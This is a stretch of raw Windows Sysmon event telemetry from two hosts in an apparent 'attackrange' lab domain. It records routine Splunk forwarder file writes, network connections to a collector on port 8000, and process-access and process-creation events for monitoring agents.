23542300x800000000000000048335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:21.069{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=58DCCA2B3FD182F7C4F961921045B1A7,SHA256=FBF5F9B23E2CB1F4012D4549C95CF79AA06AAF855B680FE2F338C0AFAD544527,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.391{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59463-false10.0.1.12-8000- 23542300x800000000000000048346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:22.756{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=39DD24852D39FA437492D3AC0D3BE04D,SHA256=5022DCAF4DDDDCDBBE41865B2A119A7A39195D5D9BC2C043F16BB6AA449CAC08,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:22.631{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4DAA9FDCFD3E80A5AAE71C85F726A88E,SHA256=8FCCC18AF5751A9454D89491BF68CAE3B5DDB473356B60C0A6C9EA1104BA31DB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015985Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:22.492{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=840D39FC591214990D459235AF7CFD3C,SHA256=CE3B321A2C5D0417F3DDDC62664BCEF33A9619AC1A8609C6E971C69EB1606D1B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015984Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:21.393{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50262-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000048348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:23.662{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3BB3E7DA4FCE2BFCBD8D10F55013E8FC,SHA256=9EAED8F39571D1F09C839CAA64D28F0D7141411E3830EB49915355379C63A6E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015986Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:23.508{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C7E3CA755F78C89FE2E14C5BC2F9AAA7,SHA256=FEF57E0979D9783CE33C76A1D3582E94FD8727AFE52615CFCA0321766517E95C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:24.678{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=64553CDFCCA4F3FD2232AFB2758117C9,SHA256=573347D674CA927E1CDC569133270031965C271DDA71C586D717477838C7682C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015987Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:24.508{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AE422714667F3D3368056B995750BD3E,SHA256=6D7E68D2E9EFF1051FCE4A7FA90803079C366B20F81472B1522639EA296C57F1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:25.725{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EE0F8668758CDB909AE84807DD590C2C,SHA256=C70FD41F7DEE1F4FC0AC1FC8E13D03AEB45124F0F69ECA0972BCB05A776D5EC6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015988Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:25.508{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1A2BE250403981250AB0A3B982FAC3F2,SHA256=F9493308698C929A6233E8EEA559EEEE46FEF52E74F8E5E1E4BC0C4C3E6DD978,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:26.725{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=481ABB23AB85C0801671360BB24E9CBA,SHA256=39F4B18D4BB6693B2D311459FAF9375276AEABD9D811CC082EEFDC627B84F5B8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015989Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:26.523{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E05EB9F5E96620F81746BB7B2A349802,SHA256=C565AA37CF05837646B374AC4F094F2E50404BE49AE4DF1A49257F48CAB91428,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:27.741{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0BB5055B3CFA756594F7BAC6AEEF3B1D,SHA256=4F4F733E90F4102F7597D9260873CA79FB0FEB363EC15C7E31D9765C757ACED8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015990Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:27.539{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=94217AE16C7036298CDAFEA07D0995B4,SHA256=F81637BA279D92539DE11E0CEC906585B807384A10C7469FDF2951B8C5C4236F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:28.912{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F2E14A66EAB52FBAD5A245ADAE2AA34F,SHA256=185B17E4E312F3EAE0A4C92733AA439BA9D6AADF39C96F00FD9BDB38383D82CA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015992Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:26.408{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50263-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015991Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:28.555{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B58B0A2FEA25DE6F996D9B479178D3DF,SHA256=083A7E57BA98266B575E20DAEF318E3BAEBBBDE93E5EF505E25072E9D755ED6E,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:25.563{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59464-false10.0.1.12-8000- 23542300x800000000000000048356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:29.928{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8464DEBA64E8AAF66799DB5AE5778257,SHA256=D6C870999DBCDA7E365AF0B186552758A945E2D5E68180BEAD735DA6E52279B9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015993Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:29.570{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D741144E49771CD39306E9449898E660,SHA256=E316CC1C3D75D5B951BC23F977F8CF9459176CFB75071E7F85E47942571F59E3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:29.772{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:30.928{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EA8D54943661240AF91BCB351DD47343,SHA256=0B6FF2D241076B00D2AECA442095C0EF6E106AFD2A39CE6F3CF5A990FA170317,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015994Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:30.586{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C8BA293872D4B4C14AFAEAB7CE538576,SHA256=6329468723771FA26E1CEC1C7F0AB3AFA44143B2A5A4F78096793462F0D63F41,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:31.944{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7622316FBE9755284F648C0E95F94150,SHA256=AE2936B2CD611ECA8877328091F8E892B3B4E938A15CD8DF5E5A61847C7E60CD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016008Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-721F-613B-E904-00000000F101}2572C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016007Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016006Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016005Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016004Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016003Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016002Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016001Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016000Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015999Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015998Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-721F-613B-E904-00000000F101}2572C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015997Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.758{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-721F-613B-E904-00000000F101}2572C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015996Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.759{625C326B-721F-613B-E904-00000000F101}2572C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015995Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:31.586{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D0478831C72F4789D5D9DBA1946A2D93,SHA256=1F28A398A14CF8A4542C275BDF7B551437447297D7E4659953AF6094992BD8C2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 